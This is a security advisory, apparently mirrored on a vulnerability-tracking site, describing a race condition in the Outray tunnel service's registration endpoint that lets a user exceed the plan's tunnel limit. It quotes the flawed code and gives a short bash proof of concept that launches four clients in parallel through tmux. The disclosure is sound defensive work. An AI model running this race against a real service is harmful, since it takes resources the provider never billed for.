Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-3pqc-836w-jgr7
No affected components available
Summary
A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.
Details
Affected conponent: apps/web/src/routes/api/tunnel/register.ts
/tunnel/registerendpoint code-:
// Check if tunnel already exists in database
const [existingTunnel] = await db
.select()
.from(tunnels)
.where(eq(tunnels.url, tunnelUrl));
const isReconnection = !!existingTunnel;
console.log(
`[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,
);
console.log(
`[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,
);
console.log(
`[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,
);
// Check limits only for NEW tunnels (not reconnections)
if (!isReconnection) {
// Count active tunnels from Redis SET
const activeCount = await redis.scard(setKey);
console.log(
`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
);
// The current tunnel is NOT yet in the online_tunnels set (added after successful registration)
// So we check if activeCount >= limit (not >)
if (activeCount >= tunnelLimit) {
console.log(
`[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
);
return json(
{
error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
},
{ status: 403 },
);
}
console.log(
`[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,
);
} else {
console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);
}
if (existingTunnel) {
// Tunnel with this URL already exists, update lastSeenAt
await db
.update(tunnels)
.set({ lastSeenAt: new Date() })
.where(eq(tunnels.id, existingTunnel.id));
return json({
success: true,
tunnelId: existingTunnel.id,
});
}
// Create new tunnel record
const tunnelRecord = {
id: randomUUID(),
url: tunnelUrl,
userId,
organizationId,
name: name || null,
protocol,
remotePort: remotePort || null,
lastSeenAt: new Date(),
createdAt: new Date(),
updatedAt: new Date(),
};
await db.insert(tunnels).values(tunnelRecord);
return json({ success: true, tunnelId: tunnelRecord.id });
} catch (error) {
console.error("Tunnel registration error:", error);
return json({ error: "Internal server error" }, { status: 500 });
}
- It checks if the tunnel exists in the database.
// Check if tunnel already exists in database
const [existingTunnel] = await db
.select()
.from(tunnels)
.where(eq(tunnels.url, tunnelUrl));
const isReconnection = !!existingTunnel;
- Limit is checked here-:
// Check limits only for NEW tunnels (not reconnections)
if (!isReconnection) {
// Count active tunnels from Redis SET
const activeCount = await redis.scard(setKey);
console.log(
`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
);
- Redis is checked for existing tunnel to check for reconnection.
// Check limits only for NEW tunnels (not reconnections)
if (!isReconnection) {
// Count active tunnels from Redis SET
const activeCount = await redis.scard(setKey);
console.log(
`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
);
- If the tunnel limit is exceeded, it pops up the tunnel limit error.
if (activeCount >= tunnelLimit) {
console.log(
`[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
);
return json(
{
error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
},
{ status: 403 },
);
- If the limit is not exceeded, it triggers a the
InsertStatement without locking transactions from other request
await db.insert(tunnels).values(tunnelRecord);
- If parallel requests are made by the
wshandlerin/outray/outray-main/apps/tunnel/src/core/WSHandler.tsfrom the command line app. A request can work on a non updated row because theinsertrow has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.
PoC
Using this simple bash script, the outray binary will be run at the same time in one tmux window, demonstrating the race condition and opening 4 tunnels.
#!/usr/bin/env bash
# POC for Outray Tunnel Race condition
SESSION="outray-race"
PORTS=(8090 4000 5000 6000)
# Create new detached tmux session
tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash"
# Split the panes and run outray
for i in "${!PORTS[@]}"; do
port="${PORTS[$i]}"
if [ "$i" -ne 0 ]; then
tmux split-window -t "$SESSION" -h
tmux select-layout -t "$SESSION" tiled
fi
tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m
done
tmux set-window-option -t "$SESSION" synchronize-panes off
echo "[+] tmux session '$SESSION' created"
echo "[+] Attach with: tmux attach -t $SESSION"
Running this
seeker@instance-20260106-20011$ bash kay.sh
[+] tmux session 'outray-race' created
[+] Attach with: tmux attach -t outray-race
seeker@instance-20260106-20011$ tmux attach -t outray-race
<img width="1909" height="1021" alt="image" src="https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85" />
<img width="1907" height="936" alt="image" src="https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded" />
Impact
By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard